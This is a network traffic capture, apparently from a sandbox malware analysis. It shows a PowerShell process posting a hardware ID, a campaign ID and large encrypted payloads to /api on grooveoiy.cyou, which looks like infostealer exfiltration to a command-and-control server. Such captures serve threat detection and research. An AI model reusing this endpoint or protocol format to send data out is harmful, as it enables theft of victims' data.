Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:22 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JV3SZSYUL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15022 Host: grooveoiy.cyou
2025-01-06 12:56:22 UTC	15022	OUT	Data Raw: 2d 2d 4a 56 33 53 5a 53 59 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 38 41 34 35 42 35 41 30 43 33 31 39 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 4a 56 33 53 5a 53 59 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 56 33 53 5a 53 59 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 52 49 49 49 0d 0a 2d 2d 4a 56 33 53 5a 53 59 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --JV3SZSYULContent-Disposition: form-data; name="hwid"DF5D8A45B5A0C31969AE778FE2799D69--JV3SZSYULContent-Disposition: form-data; name="pid"2--JV3SZSYULContent-Disposition: form-data; name="lid"c2CoW0--RIII--JV3SZSYULContent-Dispo
2025-01-06 12:56:22 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3vj2tte58rcm0u0ahlqrsalbvk; expires=Fri, 02 May 2025 06:43:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lsZGMhE31ZjRQ7iO79B1qPxmpmsrNiT7XeXoZBYI3RjFFqvqXsIJW4DRK0X8nVrs9Gp7pWq94wo1xO%2BhReEpe%2Fy5hBlBzCW5C9nrfqnufeFUw%2FHsxg7E2tCnQmKvsl%2BYdg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde21ed9942d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1654&rtt_var=643&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2833&recv_bytes=15951&delivery_rate=1672394&cwnd=221&unsent_bytes=0&cid=9267bfd7c2f2359b&ts=646&x=0"
2025-01-06 12:56:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 12:56:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49982	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:23 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OP0SIWQC1R5E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20530 Host: grooveoiy.cyou
2025-01-06 12:56:23 UTC	15331	OUT	Data Raw: 2d 2d 4f 50 30 53 49 57 51 43 31 52 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 38 41 34 35 42 35 41 30 43 33 31 39 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 4f 50 30 53 49 57 51 43 31 52 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 50 30 53 49 57 51 43 31 52 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 52 49 49 49 0d 0a 2d 2d 4f 50 30 53 49 57 51 43 31 52 35 45 0d 0a 43 Data Ascii: --OP0SIWQC1R5EContent-Disposition: form-data; name="hwid"DF5D8A45B5A0C31969AE778FE2799D69--OP0SIWQC1R5EContent-Disposition: form-data; name="pid"3--OP0SIWQC1R5EContent-Disposition: form-data; name="lid"c2CoW0--RIII--OP0SIWQC1R5EC
2025-01-06 12:56:23 UTC	5199	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2025-01-06 12:56:23 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6tfjbmd3ncn76q853sj1ulli18; expires=Fri, 02 May 2025 06:43:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y4Zb%2BJ26%2BsC0LdCWSDQlD%2Fd2zsOxJLNN3JaoQu9260CSvMEpTt1rFTWHjLCn8ovhMZ48t1VU%2Fc6zM0m51Ies1Nm7F0tXRXuR1KR6GtpP7FX6ZT%2Fz8UBA7qZ%2FKBqTRoj%2BDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde295b1472a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2019&rtt_var=759&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21484&delivery_rate=1439842&cwnd=194&unsent_bytes=0&cid=cf39e7bea463f614&ts=646&x=0"
2025-01-06 12:56:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 12:56:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49983	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:24 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3ZZO3H1C0SDEP7Q64 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 951 Host: grooveoiy.cyou
2025-01-06 12:56:24 UTC	951	OUT	Data Raw: 2d 2d 33 5a 5a 4f 33 48 31 43 30 53 44 45 50 37 51 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 38 41 34 35 42 35 41 30 43 33 31 39 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 33 5a 5a 4f 33 48 31 43 30 53 44 45 50 37 51 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 5a 5a 4f 33 48 31 43 30 53 44 45 50 37 51 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 52 49 49 49 0d 0a 2d 2d Data Ascii: --3ZZO3H1C0SDEP7Q64Content-Disposition: form-data; name="hwid"DF5D8A45B5A0C31969AE778FE2799D69--3ZZO3H1C0SDEP7Q64Content-Disposition: form-data; name="pid"1--3ZZO3H1C0SDEP7Q64Content-Disposition: form-data; name="lid"c2CoW0--RIII--
2025-01-06 12:56:28 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2hrenm8nv9sh1p92n2nuf1gl37; expires=Fri, 02 May 2025 06:43:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=icGZoQc%2FP27EH6GT%2BaJ%2B6ZI8UguLcckukzdJFpPtCcMUh2%2FLcHzOxgHo%2FhY68AZQ55EP6HTiwIvSj5VxMWzuiOuecageksUu1xZMyG5ZoQ9ttEzvw12mz1fbrj4IP7XqZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde3219e74286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1694&min_rtt=1690&rtt_var=643&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1864&delivery_rate=1688837&cwnd=252&unsent_bytes=0&cid=de1ea922084bb9e8&ts=3602&x=0"
2025-01-06 12:56:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 12:56:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49984	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:28 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P82DJKNRT7LB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585642 Host: grooveoiy.cyou
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 2d 2d 50 38 32 44 4a 4b 4e 52 54 37 4c 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 38 41 34 35 42 35 41 30 43 33 31 39 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 50 38 32 44 4a 4b 4e 52 54 37 4c 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 38 32 44 4a 4b 4e 52 54 37 4c 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 52 49 49 49 0d 0a 2d 2d 50 38 32 44 4a 4b 4e 52 54 37 4c 42 0d 0a 43 Data Ascii: --P82DJKNRT7LBContent-Disposition: form-data; name="hwid"DF5D8A45B5A0C31969AE778FE2799D69--P82DJKNRT7LBContent-Disposition: form-data; name="pid"1--P82DJKNRT7LBContent-Disposition: form-data; name="lid"c2CoW0--RIII--P82DJKNRT7LBC
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 0b ef 8c ba 2d 9d 69 42 33 60 8c 85 89 59 4e a6 10 2e 94 39 aa aa 7a f1 a7 4e 0d 85 63 fe 12 da f1 ed 24 92 10 0b f5 ce fc e6 85 ba 91 38 21 8f ee c6 6b 0f 46 22 05 68 dd 16 5c ae 0e 88 d5 17 1a 3e ce cf d2 ef bf 11 e1 e5 f1 ae 3b 1f 8a 02 d4 66 de 9b f1 f3 5a 6d d0 56 22 12 d9 f2 86 36 5f 08 13 81 f6 3e b4 d1 e1 7f 23 77 02 36 8d 00 76 09 6c 85 49 a0 e7 51 cc 72 19 60 7b 00 03 0b 6c 61 b9 8e d8 88 4c 89 b5 7d 5b de e2 20 83 3e dc 0f 01 72 1f 3d b7 19 db 6b 25 68 f3 bf eb 38 fb 45 40 dc a6 08 d3 16 20 11 d8 8f 50 19 90 74 0d 38 a1 da d4 67 75 ed 89 1c 3c 3f d4 c1 40 95 e9 3e 15 67 f7 27 b1 98 93 92 7b 43 7e 2f 70 c2 a0 15 20 ca cc 52 a9 77 22 60 a5 aa 98 de 75 50 f9 de 7c 59 a6 10 8d f3 27 75 36 33 7c 45 9c 86 22 74 bc a8 75 af 09 95 68 3d 81 34 29 06 73 Data Ascii: -iB3`YN.9zNc$8!kF"h\>;fZmV"6_>#w6vlIQr`{laL}[ >r=k%h8E@ Pt8gu<?@>g'{C~/p Rw"`uP\|Y'u63\|E"tuh=4)s
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 15 f6 3b a5 77 88 11 69 bc 91 4b d7 4c 63 03 f4 2b f2 69 9d 15 2b d2 ef c2 7d b3 e3 62 63 37 0e 3a 93 fe 46 df ba 02 e1 9f e9 b0 68 73 1c 1d d4 09 ae 0c d3 6d 7f 3b fa cf 7d f8 6c ea 38 f1 c4 47 73 c9 95 51 45 1a e1 75 21 79 46 c8 47 08 dc 57 d7 85 3c 3b 3b a6 eb 87 b7 6e 0d cc dd df 35 ff f7 00 63 ee 5a 3d ef 66 d0 80 ef 9b 2a 77 fe 74 cf b5 16 34 21 54 b6 f2 a9 2f c0 4f 06 ad 7f fb 3a 14 32 e1 ce b2 35 9e da e9 58 bd 22 45 90 ea 0e d6 5e bd 86 9a 2c 3c 0e b1 ca eb 13 54 e2 20 d0 9c b1 3c d1 4e e4 b8 0b 6d bb 19 ef 71 09 fa d5 2b d6 70 c0 8d ed 00 98 1d fe 59 45 5f 8b 8b f0 20 c3 50 08 62 51 ae e6 41 a4 6f 58 38 1d 07 9b 4d d4 0e 23 b4 18 0f 14 a4 22 03 a0 ff bb bf 4f e7 bf f0 61 a4 ec 41 1e 51 3b ed f8 d6 03 50 6c c7 a4 8a 80 fd b3 1f 7f 37 bd 63 a2 8d Data Ascii: ;wiKLc+i+}bc7:Fhsm;}l8GsQEu!yFGW<;;n5cZ=f*wt4!T/O:25X"E^,<T <Nmq+pYE_ PbQAoX8M#"OaAQ;Pl7c
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 79 7d 17 7d 54 6c 05 e1 fb 77 26 3b ab 38 6a 17 3b a6 6d d0 78 45 42 55 3e 29 15 97 a2 eb 08 d9 dd a7 9b b7 50 cf 4b 9e 8f 3b 67 f4 40 41 89 50 e9 c5 bf 7d f2 b0 d0 20 1e 29 8b 2f 7b 72 bc 55 9b 1f c8 cf 3e 97 4a 57 03 67 bb b3 2c 1b f8 d2 af 26 e2 5f 19 1d 5b 14 07 7d 4f bd 0c 60 b3 dc 59 07 a6 f7 97 d3 e8 39 38 f8 cc 97 0c c2 71 a0 6b b0 93 42 27 45 56 3a 5e a9 e5 98 4d 9a 5a c4 c5 99 76 f7 c6 98 a9 97 ab 36 e7 7d 77 10 c0 6a 0d 3b 55 e5 df b4 10 10 75 43 90 36 bf fb 25 e6 d6 a7 53 b5 da 2a a2 9b 4e 40 86 8d 87 04 88 10 8f e5 8e c5 73 10 f4 09 43 b0 1e b2 42 9d a9 de e9 77 df b4 5b bc 73 fd 71 cf 5c 0a 94 da 8f 9f 80 e0 02 e6 14 6f 47 cc 0b 52 81 90 aa f0 c1 38 cf 30 e7 44 e9 fc 54 75 50 f3 d7 2d 1d 52 85 ae e2 85 18 28 e2 7f c6 25 ae a5 bc a4 96 2a 10 Data Ascii: y}}Tlw&;8j;mxEBU>)PK;g@AP} )/{rU>JWg,&_[}O`Y98qkB'EV:^MZv6}wj;UuC6%SN@sCBw[sq\oGR80DTuP-R(%
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 6b 2a 41 f6 1e 2b 86 62 48 e6 73 e2 62 8d 42 05 c7 55 b4 56 da ab 74 c8 4a 8b 7f 96 a5 a3 63 ba 64 6d 37 e9 93 d0 e7 e7 dd 33 17 f1 76 c6 12 d4 0a d5 60 91 3e 99 62 eb 98 3f ff 14 88 8e a5 9a 06 48 00 a3 4b d7 a0 dc cc 15 d5 6e 1d cf 07 b7 3a ed 25 8d 48 b6 90 53 8c 84 e3 83 d6 5d d1 f9 4b 3f 1b 2d e2 fc f9 11 7f 5c bd 5f c4 4c ab 9d cd c1 67 12 72 9f 91 a4 c0 05 ef 82 e5 4b c6 3b 12 f0 8f 9d 31 45 e6 99 8c fc ab e8 3b 29 ab 33 7b 62 97 da b8 d7 44 81 14 c5 43 ce 83 00 81 cc b8 a3 3f 9b 41 74 2a 14 2b e9 85 56 20 ff fc d0 f8 7b bf 02 89 e8 2b d2 b5 45 fa bf 2a e4 ff f3 50 c9 35 8e 4a c3 2e dc 0b a9 04 39 8f c8 b1 26 59 81 12 f1 89 9f 7c 67 81 ed 66 fe 2d 1c 95 f2 f0 7e f6 0d 01 a0 a1 2b 08 c1 92 cc 1b eb db e5 20 39 95 40 5a 32 11 c5 7b 68 fb 7b 44 86 6c Data Ascii: kA+bHsbBUVtJcdm73v`>b?HKn:%HS]K?-\_LgrK;1E;)3{bDC?At+V {+E*P5J.9&Y\|gf-~+ 9@Z2{h{Dl
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 7c 4f a1 38 ca 8f 3e 4a 6e 2e 78 71 a0 4f 05 54 2a 41 f0 1c bd e6 ef 2d da fc 89 9e f8 14 dd 4c 8f 41 ff 98 12 b3 c1 12 8f 84 92 c6 7b bb 6b 5a 2f 65 87 7d 3a ff 87 23 9a 90 e5 a6 52 27 88 05 25 e3 22 2d 94 9a 3f 08 40 f7 a6 30 6b 64 13 86 91 28 46 d8 ba d7 2f 81 38 e7 ca 0f c1 a4 49 68 99 41 d7 01 4c ae 38 be ef 27 51 19 82 9d a5 a1 9e 24 cf 0e 65 4a f0 44 55 09 cb 6f 1a a3 ac 04 71 be bb 76 e1 3c ea e5 cd c3 a0 cc cb 59 70 d3 0a 9c 62 44 07 97 f0 08 22 12 de ce 25 0d 71 57 ae 56 be fd 80 57 af ae 0d 7c 02 17 e0 f7 df 46 e5 a9 f9 80 9b 3f 7b bf b4 b2 0b 03 bd 98 47 b6 bf 06 9e 0a 4d 47 40 fa a6 a7 00 4f 6b 2b cb 6a 33 1a ef 75 5e e8 83 8e 15 d3 c9 89 e1 35 cd 72 66 3e 5d 01 b7 3d a1 f4 b8 ad b7 e3 09 2e dd 3c a7 18 59 e7 b3 48 5c 14 3c ca f7 20 89 44 72 Data Ascii: \|O8>Jn.xqOT*A-LA{kZ/e}:#R'%"-?@0kd(F/8IhAL8'Q$eJDUoqv<YpbD"%qWVW\|F?{GMG@Ok+j3u^5rf>]=.<YH\< Dr
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 0d 44 55 21 fd 4b c0 35 23 4d 13 ef a6 27 96 47 19 fe 78 b6 8e 57 24 84 c1 e2 56 6e 08 a0 1b c0 9a 42 ee 5e 8d b2 ce d5 b1 f3 d3 43 48 94 7a f7 02 71 0a b7 a4 85 db 9c 64 17 d5 8b 64 0f 43 1d 47 f9 37 76 6b ee ee 47 33 a5 56 4f 4b 86 56 f8 01 14 4b fa 3e fb 57 f1 c5 dd a7 8e bb 37 87 00 7d fa 9d da 35 40 dd 40 44 2c c4 c8 54 04 dc a5 6c 87 79 29 60 b0 d5 d5 d9 d1 f3 7f 4b b0 ee 6f 64 45 1c dc 55 35 e3 77 c2 8c 8a e7 b8 ca 73 7b 34 b0 a7 ca 16 cf 42 e2 56 fe 45 a0 40 6a 77 bb c5 ac 09 9f d7 99 bd f0 22 5a c4 a9 88 b3 66 c6 30 dd 34 5a 18 5f be d0 72 c6 89 11 5b 35 f6 0c fe 58 f5 fb 18 80 3f ed 1d 32 aa 40 c3 c3 e1 75 ff 7b f1 3b 87 a8 f9 f2 74 24 75 df 03 ea f9 98 06 a8 02 b5 29 7a 18 ba a1 85 ca 9d 31 3c 65 83 7c 00 6b 44 f4 25 bc 2b 94 1e c7 31 e3 e0 2a Data Ascii: DU!K5#M'GxW$VnB^CHzqddCG7vkG3VOKVK>W7}5@@D,Tly)`KodEU5ws{4BVE@jw"Zf04Z_r[5X?2@u{;t$u)z1<e\|kD%+1*
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: ff b9 28 e1 68 a6 6f 98 b5 f9 3a 9d 4e 64 e8 86 b5 3f d7 89 6a e2 d6 3d ea 78 33 70 6a ad e7 ee 50 da e7 97 d6 ee 93 e3 b5 3f 91 1d 8b ac f2 81 ce 2f 7b d6 53 dc 2d 26 42 ae 2e d2 31 dc 0f 8b 7d 2b be 83 9d 97 1f c2 e9 d3 8c 72 26 1d a6 33 57 8d da 14 28 cf 13 23 ad 53 b5 80 d9 f8 3d 70 2d b7 a3 f1 a8 c0 4c 9a cb 99 6d f1 35 68 08 2b 41 d6 a8 f0 f4 df 5d b7 e6 05 bf ef a9 f6 67 78 14 73 3e 04 31 d8 9f 1f db fd ce 67 b0 07 bd 83 24 9c 2d ea ac 0d 86 b8 a3 23 d7 6f b0 8d 1d 8a 3e e4 2e 27 11 1e 1e d2 9b 6a f1 3d c0 e7 5c 21 68 f0 8d 19 16 3d 51 17 18 37 53 72 8d ed 63 ee d5 46 b7 8d 14 c5 cc 4f 0a 81 10 da db 75 df 77 45 9e 45 63 be d7 a8 07 bf f2 2d 68 91 68 6a ed 55 9f d9 a5 8c 5b ca 7a a6 b3 8f 98 91 b2 0d 57 a2 74 01 45 42 68 73 f6 cd 48 51 7a 8c d9 08 Data Ascii: (ho:Nd?j=x3pjP?/{S-&B.1}+r&3W(#S=p-Lm5h+A]gxs>1g$-#o>.'j=\!h=Q7SrcFOuwEEc-hhjU[zWtEBhsHQz
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 9a 4e 97 62 1a 8b 67 af 5b eb 8a 02 ae fe 0e 90 91 91 4e 0f e1 7e 93 2d d4 47 0a 23 21 b1 17 fb c3 73 6b 80 eb 91 04 e3 4e 1b d1 43 c5 1a 5d 25 76 aa 42 42 d4 82 20 4f ab 86 37 93 23 4f 6e a6 11 0c 78 2e d6 79 71 56 39 fc a4 64 bd 5c 7b 5f 92 b7 10 0d d9 20 86 7a ed f9 05 79 5e d9 29 bf c1 cc 46 36 e6 ac 9e 61 e7 17 e1 09 0b c2 21 bd 2f ab 3f 76 eb 69 50 b3 f9 05 8b 24 35 cc 3d 6c 99 5c b4 df fb cc b2 74 7d 30 6f 32 c1 aa 2d 8d 14 a1 f9 c0 d7 8d ae fe 52 4b 13 11 0a 92 dc a6 70 c2 18 c8 ae bf 40 96 79 92 1e 23 ac aa b8 46 cb ba 56 f5 e4 cb ae b0 1d 2e e3 6b a3 e2 ac cf 8a fc 07 35 39 91 19 55 82 68 17 20 9a f0 ab 84 32 d5 bc f0 a2 c4 03 42 c5 af 1a f7 34 13 6b 90 de d3 49 17 85 2e 1b 22 33 32 6c 7c 37 9f 6d 6b 4c b8 51 e3 a8 12 ef b2 fb 4c 88 c8 f0 10 99 Data Ascii: Nbg[N~-G#!skNC]%vBB O7#Onx.yqV9d\{_ zy^)F6a!/?viP$5=l\t}0o2-RKp@y#FV.k59Uh 2B4kI."32l\|7mkLQL
2025-01-06 12:56:28 UTC	15331	OUT	Data Raw: 01 22 05 c7 a6 a5 eb 7f f7 a9 93 03 1a ff 7c 2d bf 59 f5 ec cb d5 90 b2 a0 3f 4e 6b d5 77 5b 56 8f ca a4 1d 0d 9b 9a 84 7f ec f7 15 76 8a 90 ae 2c 5c 69 dc 7b e8 3f 36 77 c6 e2 68 f7 92 cb fb 98 f8 a7 af 28 b5 17 12 58 29 fb e1 15 d7 93 aa 15 1b 89 f5 0e f7 5e 65 0d 9e 2a f5 77 fd f3 d5 df 75 d0 e4 cd 71 13 b6 67 e1 fa c9 37 ff b1 57 ad 5d 23 46 23 0d 5e 71 35 cb 57 bf 48 3f f5 bb e8 c9 1c f4 ba 30 ca ba e7 a0 d0 b1 fd 5b 7c b0 fe 0a ad 29 33 6b 6d 7b e1 ba ac b6 e4 fb c0 9d 43 e9 01 13 37 5d 37 bc 2a 4a 0b eb 19 ff f1 be 2f 1d e9 e9 96 b7 31 de a8 ac b8 ed 7f 88 69 b6 9e 3f 1f b3 f8 f8 f3 cb 1d 22 9f fe 0b ee 3b 9e 55 3d 4a 7b c4 4e 3c 36 bc a2 36 cf fd 64 c7 f6 a8 5b 0d d0 95 0c e8 fb 0f 3b a5 be dd 44 cc e3 bd 20 26 54 24 9e 01 32 e2 b6 6e 55 ae 68 99 Data Ascii: "\|-Y?Nkw[Vv,\i{?6wh(X)^ewuqg7W]#F#^q5WH?0[\|)3km{C7]7J/1i?";U=J{N<66d[;D &T$2nUh
2025-01-06 12:56:30 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7rupai48bko5v6imiob9kt2j0o; expires=Fri, 02 May 2025 06:43:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SYyzFL4ZLTTpfzw7TBFRdpBqT8Ptebe0GZemWr0ucKFGXRCHFEcPJeR8idO%2FElScCJIsS86xk1z4yQa%2BW8IDPwgnTROclCjIP%2B5Fm%2BZPsUD1aISEvM3e9Mb6oXe7JrZc%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde4d3c5cde9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1556&rtt_var=589&sent=213&recv=601&lost=0&retrans=0&sent_bytes=2834&recv_bytes=588225&delivery_rate=1876606&cwnd=193&unsent_bytes=0&cid=6cc677ff36941628&ts=1669&x=0"

